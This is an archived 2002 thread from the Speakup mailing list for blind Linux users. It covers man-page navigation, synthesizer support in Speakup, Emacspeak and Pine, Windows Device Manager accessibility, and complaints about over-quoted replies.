> > > > > > > Now in the new .chm format, you don't have any problems.
> > > > > > >
> > > > > > > But this doesn't matter too much. Please tell me how to
navigate
> > the man
> > > > > > > pages.
> > > > > > > I type man mv, for example.
> > > > > > > It starts to print all the help file, but maybe I want to move
> > with a page
> > > > > > > up then down, etc.
> > > > > > >
> > > > > > > I know this is possible. Thanks.
> > > > > > > Teddy,
> > > > > > > orasnita@home.ro
> > > > > > >
> > > > > > > ----- Original Message -----
> > > > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > > > To: <speakup@braille.uwo.ca>
> > > > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > > > Subject: Re: interesting experiment.
> > > > > > >
> > > > > > >
> > > > > > > SNIP
> > > > > > > > > You open a window, and it explains you what you should do
> > there.
> > > > > > > > > You have to press the space bar to check some checkboxes,
to
> > press some
> > > > > > > > > buttons, etc, and if you don't know something, press
shift+f10
> > (or the
> > > > > > > right
> > > > > > > > > mouse button and choose "what's this?" or press F1 to view
the
> > help file
> > > > > > > > > wich is much much more easier to navigate than the man
pages
> > under
> > > > > > > Linux.
> > > > > > > SNIP
> > > > > > >
> > > > > > > A fake.
> > > > > > > man pages under GNU/Linux are a lot easier to navigate than
> > windows help
> > > > > > > pages.
> > > > > > > you need to route the jaws cursor to the pc and then fart
around
> > trying to
> > > > > > > find what you were looking for.
> > > > > > > even with the new features in jfw I seriously doubt you could
> > navigate a
> > > > > > > help file easier than a man page..
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > _______________________________________________
> > > > > > > Speakup mailing list
> > > > > > > Speakup@braille.uwo.ca
> > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > _______________________________________________
> > > > > > > Speakup mailing list
> > > > > > > Speakup@braille.uwo.ca
> > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

But could I use it with Speakup, to hear the voice only after the system
boots?
Or is not supported at all? no  drivers, etc.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 2:24 PM
Subject: Re: interesting experiment.


> Hi teddy.
> viavoice won't be supported by speakup as I understand it because it's a
> nonfree package and the source code isn't freely available.
> as for the problem with the dec-talk pc, the issue is, needing dictionary
> files to be loaded into the synth at boot time.
> You can't do this until the file systems are properly mounted. So, if one
> gets a kernel panic, you wouldn't know about it because you wouldn't have
> speech from kernel load.
> hth
>
>
> --
> Shaun Oliver
>
> Man is the best computer we can put aboard a spacecraft ... and the
> > > only one that can be mass produced with unskilled labor.
> > >                 -- Wernher von Braun.
> > > email: shaun_oliver@optusnet.com.au
> > > icq:76958435
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

What do you mean "I can't use pine with emacspeak?"
Is it true that I really can't use pine with emacspeak?

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 3:07 PM
Subject: Re: interesting experiment.


> Hi all,
>
> Hmmmmm, think you can get to Lynx through w3, but not sure.  You can't
> use Pine.  learn VM.
>
> Ann P.
>
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: free terminal emulator for windows - download and install

[Toby Fisher]

On Mon, 20 May 2002, Alex Snow wrote:

> The reason I like console telnet is because it's open source and I can get
> the sourcecode if I need to make any changes.

Well, if I were using DOS again, I think I'd use Phil Karn's KA9Q softare.
If you're a licensed ham, you are entitled to a copy of the source code,
and Demon Internet, the first major independant isp in the UK, used to use
it for a long time for everybody, modified of course, but it worked quite
nicely.  I'm sure someone's written an ssh module for it by now.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: free terminal emulator for windows - download and install

[Toby Fisher]

On Tue, 21 May 2002, Octavian Rasnita wrote:

> There is NCSA Telnet. It works fine and I've heard that it is very
> accessible with a dos screen reader.
> It is available from NCSA FTP site, but I don't know the address.

I can't help you with where to find it, but I might be able to provide you
with a copy if you can't find it.  Feel free to mail me privately if you
get stuck.  I used it for 3 years or so over a plip link perfectly well,
and it has a little ftp server on it, so you can transfer stuff to and
from your linux box.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Kerry Hoath]

I am asking all people who continue the "Why Windows" "Interesting experiment"
and similar threads to start trimming down their mails to the list...
I know it is simple to add 3 lines at the top and hit send,
but some of these messages are aproaching 300 lines long
and 10 k a piece.
If this  trend continues I will be forced to unsubscribe from speakup
purely due to the raw volume of quoted text that has appeared on
this list in the last 2 weeks.
Yes it all started with Teddy but it is not his fault; although
he could trim out some of the irrelevent text from the messages he
sends.
I could filter all of his messages, but Greg and others are also
adding 3 lines to the top of a post and hitting send.
I am not picking on one person,
but pleeding for some moderation in the raw size of messages
to this list.
If the size was due to important information I would understand,
but many of these messages have every comment since the beginning of hte thread
in them.
Please people, I don't care what text editor you use, ed vi emacs
edlin or dos edit, can we trim the fat?

Regards, Kerry.

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Ann Parsons]

Hi all,

Gregory, what Janina is saying is that in the case of our Romanian
friend, telling him about additional software solutions, especially
ones you haven't tried is counter productive.  Why?  Because if he
tried to use the software, he might not get the help he needed from
those who had used it.  We're trying to spare him grief and confusion
is all. 

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Toby Fisher]

On Wed, 22 May 2002, Igor Gueths wrote:

> Also check out festival, its supported by Screader. I never tried it.
> I know this is the Speakup list, but just thought I'd point that out.

Um, you are joking right?

Festival is big, it's bloated, it's a resource hog, it's quiet.  Yes, the
concept is very inovative, but even it's authors admit it's not production
quality.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Ann Parsons]

Hi all,

It is possible by using Emacspeak's terminal emmulator, but learning
vm is a lot quicker and neater.

Ann P.
 
-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Toby Fisher]

On Tue, 21 May 2002, Octavian Rasnita wrote:

> In Windows I can have champaigne for free. <smile>
> In Linux I need  to pay for a hardware sinth to be able to get champaigne.
> It was the same thing some years ago when I would need a hardware sinth for
> DOS.

Hmmm, so tell me, which fully-featured screen reader are you using for
Windows that's free?  Ok, so you're using a couple of demos, but that's
hardly Champagne, is it?  I already had a copy of Jaws, but chose to pay
for a hardware synthesiser because I don't like cheap Champagne
masquerading as a top vintage. *smile*

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Wed, 22 May 2002, Ann Parsons wrote:

> Hi all,
>
> Will you stop saying that!  You don't need a "real screen reader" when
> you use emacs.  the speech output system works just fine.  If you
> understood better I would tell you why.  Trust us!

Ann, I would beg to differ with the lack of screen reader argument.
Emacs-speak is not available during boot-up, and you can't use Emacs-speak
to installl your distro, I don't think.  Note, I'm not saying that it's
useless or anything, but it does have limitations, as does any software,
Speakup included.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Ann Parsons]

Hi all,

Tell it like it is brother, amen, halleluia!!! 

Most of this traffic in quotes is due to the increasing numbers of
Windows users on this list!  Windows mailers are notorious for
assuming that you want to quote the entire message from before.  there
is no choice, no possible solution unless you are a responsible human
being and are willing to take the five minutes to type ctrl-a and then
to hit the delete key so that all this quoted garbage goes bye-bye.  

Friends, if you must learn about Linux via Windows, then please, for
God's sake, have the common courtesy to trim your messages!  I realize
that other lists where you frequent allow quoting and don't give a
damn about the ISpS disk space or the fact that people in countries
other than the U.S. pay by the byte or by the minute for their on-line
time!  However, this is a Linux list.  Most of us are using mailers
which have choices attached to them.  You can quote or not, depending
on the message.  We feel that this is a more reasonable attitude, it
forces independence and self reliance and a sense of responsibility!
So, get off your Windows soft couches and come into the real world
where people are grown up and responsible!  in short QUIT QUOTING,
NOW!!! 

If this were a list at SJU and if I ran it, I'd have every single one
of you blessed quoters on review.  I wouldn't let any messages from
you go through until you'd learned your lesson.  I don't own this
list, and I dunnow if Mailman allows listowners to place posters on
review.  Wish it did!  It's amazing what a week of unposted messages
does for Windows users of lists.  They finally grow up and get the
point.  It usually takes them about a week though, they're so darned
used to Daddy Billy-Boy wiping their noses for them.  

Ann P.


-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Janina Sajka]

What part of "can't" don't you understand? 

On Thu, 23 May 2002, Octavian Rasnita wrote:

> What do you mean "I can't use pine with emacspeak?"
> Is it true that I really can't use pine with emacspeak?
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Wednesday, May 22, 2002 3:07 PM
> Subject: Re: interesting experiment.
> 
> 
> > Hi all,
> >
> > Hmmmmm, think you can get to Lynx through w3, but not sure.  You can't
> > use Pine.  learn VM.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Once again, what part of "no" don't you understand? the 'n' or
the 'o?'

Asking again and again iisn't going to change the answer. The
answer is "no." Now, get over it.

On Thu, 23 May 2002, Octavian Rasnita wrote:

> But could I use it with Speakup, to hear the voice only after the system
> boots?
> Or is not supported at all? no  drivers, etc.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Wednesday, May 22, 2002 2:24 PM
> Subject: Re: interesting experiment.
> 
> 
> > Hi teddy.
> > viavoice won't be supported by speakup as I understand it because it's a
> > nonfree package and the source code isn't freely available.
> > as for the problem with the dec-talk pc, the issue is, needing dictionary
> > files to be loaded into the synth at boot time.
> > You can't do this until the file systems are properly mounted. So, if one
> > gets a kernel panic, you wouldn't know about it because you wouldn't have
> > speech from kernel load.
> > hth
> >
> >
> > --
> > Shaun Oliver
> >
> > Man is the best computer we can put aboard a spacecraft ... and the
> > > > only one that can be mass produced with unskilled labor.
> > > >                 -- Wernher von Braun.
> > > > email: shaun_oliver@optusnet.com.au
> > > > icq:76958435
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Janina Sajka wrote:

> You're saying you can get a text file about hw from Win? That's
> imporvement over the last time I tried such a thing. Do you know
> where, exactly, per chance? Perhaps I should add the datum to the
> Speakup Modified HOWTO.
>
>> The one I remember was on Control Panel \ System \ Device Manager
> something or other. But, I don't recall its output being
> accessible.

It's perfectly accessible, or at least, it is in Win98 and versions of JFW
later than 3.5.  Ok, it spouts a load of graphics at you, but it also
tells you the names of the hardware, the names of all the sections like
usb controller etc etc.  Ok, it's not a text file, but there's nothing to
stop you creating one.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Alex Snow wrote:

> How would a person tern of that padmouse thing? My laptop had both the stick
> and the pad, and I got rid of the stick but not the pad.  The stick used to
> be right in the middle of the keyboard where I might hit it while typing.

I'm trying to remember now because it was a couple of years back.  As I
recall, I found it in device manager and simply disabled it, I didn't
remove it because otherwise the next time I rebooted it, Windows would
find the new hardware and install the driver.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Are these programs free? Do you have a web site address  where I can
> download them?

As has already been stated, if you look, you'll find them, and yes, of
course they're free.  Sox at least comes with pretty much all Linux
distributions, if you care to look, you might even find it.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Mon, 20 May 2002, Octavian Rasnita wrote:

<snip>

> I think I need to take some knowledge first, and after that start
giving.
> But please notice that not all the people learn from a manual. I haven't
> read any manual for Windows, for example.

Yeah right, so you never read any Windows help files, or web sights, or
readme files, or on-screen tips, you just knew it, right?  Well please
share your telepathic powers with us, I, for one, would love them.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Janina Sajka wrote:

> Your procmail is undoubtedly already running. Adding a kill
> script is pretty simple. Let me know if you want some example
> files.

Janina,
It may not be running, if he's using Debian and theefore Exim, because
Exim doesn't filter using Procmail, or at least, it doesn't need to.  If
you read rthe relevant chapter in the docs, you'll find that Exim's
filtering utility is very comprehensive, though of course you can still
use Procmail if you want.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Thu, 23 May 2002, Kerry Hoath wrote:

> I am asking all people who continue the "Why Windows" "Interesting experiment"
> and similar threads to start trimming down their mails to the list...

Amen to that, I have to hold -c-k in pico for about 10 secs to get rid of
some extraneous stuff

<snip>

> If this  trend continues I will be forced to unsubscribe from
speakup
> purely due to the raw volume of quoted text that has appeared on
> this list in the last 2 weeks.

No, don't do that!  You have a lot of useful and insightful things to say,
I rarely skip your posts, even if they're on a thread I am not currently
reading, purely because they tend to have informational value.  People,
come on, let's not loose a valuable resource due to idleness!
> I could filter all of his messages, but Greg and others are also
> adding 3 lines to the top of a post and hitting send.
> I am not picking on one person,
> but pleeding for some moderation in the raw size of messages
> to this list.

You know, it's a shame that this isn't a newsgroup, you could kill on the
Lines header.

> Please people, I don't care what text editor you use, ed vi emacs
> edlin or dos edit, can we trim the fat?

You forgot one, Outlook/Outlook Express, that's where the "Original
message ..." comes from.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

On Thu, 23 May 2002, Janina Sajka wrote:

> What part of "can't" don't you understand?

Ah, that would be the ' I suspect. *smile*

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Janina Sajka]

Toby:

I was never able to make hide nor hair of exactly that file. My
last heavy use of Win was exactly Win 98, though it was certainly
before JFW 3.5. 

I don't know that we're exactly OK in saying "it's accessible" if
it's dependent on a particular proprietary assistive technology.
That doesn't define "accessible" in my book.

But, more to the point, I was cer5tainly stopped in my efforts to
get usable data from that feature on Win 98 systems.

Could you post an example of its output on this list that's
readable? Or is that a hack? If it's a hack, then it's not
accessible from that measure as well.

On Thu, 23 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Janina Sajka wrote:
> 
> > You're saying you can get a text file about hw from Win? That's
> > imporvement over the last time I tried such a thing. Do you know
> > where, exactly, per chance? Perhaps I should add the datum to the
> > Speakup Modified HOWTO.
> >
> >> The one I remember was on Control Panel \ System \ Device Manager
> > something or other. But, I don't recall its output being
> > accessible.
> 
> It's perfectly accessible, or at least, it is in Win98 and versions of JFW
> later than 3.5.  Ok, it spouts a load of graphics at you, but it also
> tells you the names of the hardware, the names of all the sections like
> usb controller etc etc.  Ok, it's not a text file, but there's nothing to
> stop you creating one.

Re: interesting experiment.

[Toby Fisher]

On Thu, 23 May 2002, Janina Sajka wrote:

> Toby:
>
> I was never able to make hide nor hair of exactly that file. My
> last heavy use of Win was exactly Win 98, though it was certainly
> before JFW 3.5.
>
> I don't know that we're exactly OK in saying "it's accessible" if
> it's dependent on a particular proprietary assistive technology.
> That doesn't define "accessible" in my book.

I don't think JFW is alone in this respect, in fact I'm sure it's not.
It's just a simple tree view, you know, like you can get on Explorer, but
which you shouldn't use if you don't have a loppy in the drive when you
scroll past it.  But I'd be surprised if there are screen readers for
Windows out theer that can't access it.

> Could you post an example of its output on this list that's
> readable? Or is that a hack? If it's a hack, then it's not
> accessible from that measure as well.

Hmmm, I will try, but I don't think I'd be able to do it, because I can't
easily copy stuff from it to the clip board I don't think.  Unless, of
course, someone knows how to edit a screen dump in Windows.  I'm sorry,
though, I do disagree with you about the accessibility of this, if, as I
suspect, all screen readers can access it, and no, my access to it is not
a hack.  If I'm honest, 	I do sometimes get a bit frustrated with
people who say that so and so is not accessible, when in fact all it may
require is a little patience.  Ok, it's not *totally* accessible, but to
say that things are *totally* inaccessible if you can't access them with
your first attempt is also ludicrous, and I think is perhaps part of the
reason that there is resistance to making some things accessible, the view
exists in some quarters that we expect everything on a plate and are not
willing to expend any effort.  This is, of course, not true and such an
attitude is no excuse, but imho, there it is.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Ann Parsons]

Hi all,

Hey, Toby, could you put your quotes at the bottom instead of the top
please!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

It is true that Emacspeak will not come on at startup, and it will not
do some things that speakup will do.  But for things  related to words
and editing, emacspeak can't be beat!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Gregory Nowak]

What exactly are you talking about? Is it the entire tree view of hardware under the device manager tab of the system option of the control pannel? If so, then that'ts perfectly accessible since window-eyes 2.1 (or at least, that's the version I started with), and I've originally used windows 95 with that version too.
Greg


On Thu, May 23, 2002 at 05:36:32PM +0100, Toby Fisher wrote:
> On Thu, 23 May 2002, Janina Sajka wrote:
> 
> > Toby:
> >
> > I was never able to make hide nor hair of exactly that file. My
> > last heavy use of Win was exactly Win 98, though it was certainly
> > before JFW 3.5.
> >
> > I don't know that we're exactly OK in saying "it's accessible" if
> > it's dependent on a particular proprietary assistive technology.
> > That doesn't define "accessible" in my book.
> 
> I don't think JFW is alone in this respect, in fact I'm sure it's not.
> It's just a simple tree view, you know, like you can get on Explorer, but
> which you shouldn't use if you don't have a loppy in the drive when you
> scroll past it.  But I'd be surprised if there are screen readers for
> Windows out theer that can't access it.
> 
> > Could you post an example of its output on this list that's
> > readable? Or is that a hack? If it's a hack, then it's not
> > accessible from that measure as well.
> 
> Hmmm, I will try, but I don't think I'd be able to do it, because I can't
> easily copy stuff from it to the clip board I don't think.  Unless, of
> course, someone knows how to edit a screen dump in Windows.  I'm sorry,
> though, I do disagree with you about the accessibility of this, if, as I
> suspect, all screen readers can access it, and no, my access to it is not
> a hack.  If I'm honest, 	I do sometimes get a bit frustrated with
> people who say that so and so is not accessible, when in fact all it may
> require is a little patience.  Ok, it's not *totally* accessible, but to
> say that things are *totally* inaccessible if you can't access them with
> your first attempt is also ludicrous, and I think is perhaps part of the
> reason that there is resistance to making some things accessible, the view
> exists in some quarters that we expect everything on a plate and are not
> willing to expend any effort.  This is, of course, not true and such an
> attitude is no excuse, but imho, there it is.
> 
> Cheers.
> 
> -- 
> Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Another problem is that sound modules don't load until the filesystems are
mounted. And viavoice isn't a kernel level synth, besides the fact that it
can't be anyway. This I would think is why Speakup doesn't support
software synths as of yet.

Gates go to hell, your OS is waiting for you there!

On Thu, 23 May 2002, Octavian Rasnita wrote:

> But could I use it with Speakup, to hear the voice only after the system
> boots?
> Or is not supported at all? no  drivers, etc.
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Wednesday, May 22, 2002 2:24 PM
> Subject: Re: interesting experiment.
>
>
> > Hi teddy.
> > viavoice won't be supported by speakup as I understand it because it's a
> > nonfree package and the source code isn't freely available.
> > as for the problem with the dec-talk pc, the issue is, needing dictionary
> > files to be loaded into the synth at boot time.
> > You can't do this until the file systems are properly mounted. So, if one
> > gets a kernel panic, you wouldn't know about it because you wouldn't have
> > speech from kernel load.
> > hth
> >
> >
> > --
> > Shaun Oliver
> >
> > Man is the best computer we can put aboard a spacecraft ... and the
> > > > only one that can be mass produced with unskilled labor.
> > > >                 -- Wernher von Braun.
> > > > email: shaun_oliver@optusnet.com.au
> > > > icq:76958435
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Thomas Stivers]

You can simply choose print in the dialog box. Then have it print out to a
file. It worked for me. This list is sounding disturbingly like jfwlist
and that ilk... Oh well, gotta delete some more.

-- 

--
Thomas Stivers
stivers_t@mail.utexas.edu

On Thu, 23 May 2002, Toby Fisher wrote:

>
> > Toby:
> >
> > I was never able to make hide nor hair of exactly that file. My
> > last heavy use of Win was exactly Win 98, though it was certainly
> > before JFW 3.5.
> >
> > I don't know that we're exactly OK in saying "it's accessible" if
> > it's dependent on a particular proprietary assistive technology.
> > That doesn't define "accessible" in my book.
>
> I don't think JFW is alone in this respect, in fact I'm sure it's not.
> It's just a simple tree view, you know, like you can get on Explorer, but
> which you shouldn't use if you don't have a loppy in the drive when you
> scroll past it.  But I'd be surprised if there are screen readers for
> Windows out theer that can't access it.
>
> > Could you post an example of its output on this list that's
> > readable? Or is that a hack? If it's a hack, then it's not
> > accessible from that measure as well.
>
> Hmmm, I will try, but I don't think I'd be able to do it, because I can't
> easily copy stuff from it to the clip board I don't think.  Unless, of
> course, someone knows how to edit a screen dump in Windows.  I'm sorry,
> though, I do disagree with you about the accessibility of this, if, as I
> suspect, all screen readers can access it, and no, my access to it is not
> a hack.  If I'm honest, 	I do sometimes get a bit frustrated with
> people who say that so and so is not accessible, when in fact all it may
> require is a little patience.  Ok, it's not *totally* accessible, but to
> say that things are *totally* inaccessible if you can't access them with
> your first attempt is also ludicrous, and I think is perhaps part of the
> reason that there is resistance to making some things accessible, the view
> exists in some quarters that we expect everything on a plate and are not
> willing to expend any effort.  This is, of course, not true and such an
> attitude is no excuse, but imho, there it is.
>
> Cheers.
>
>

Re: interesting experiment.

[Ed Barnes]

Hi Toby, thanks for the extra info as it applies to Debian as I've filed 
it away in the event I ever find another box and play with it as well, 
however; for now your info isn't applicable because I'm using Red Hat. 
Janina was also aware of this due to posts I've posted to the list and to 
her privately. Thanks. Ed 

Re: interesting experiment.

[Alex Snow]

Hi All,
I was just thinking: Would it be possible to right drivers to use the pc
speaker as a synth in speakup? Then for those who don't have a hardware
synth that would work.
----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 3:02 PM
Subject: Re: interesting experiment.


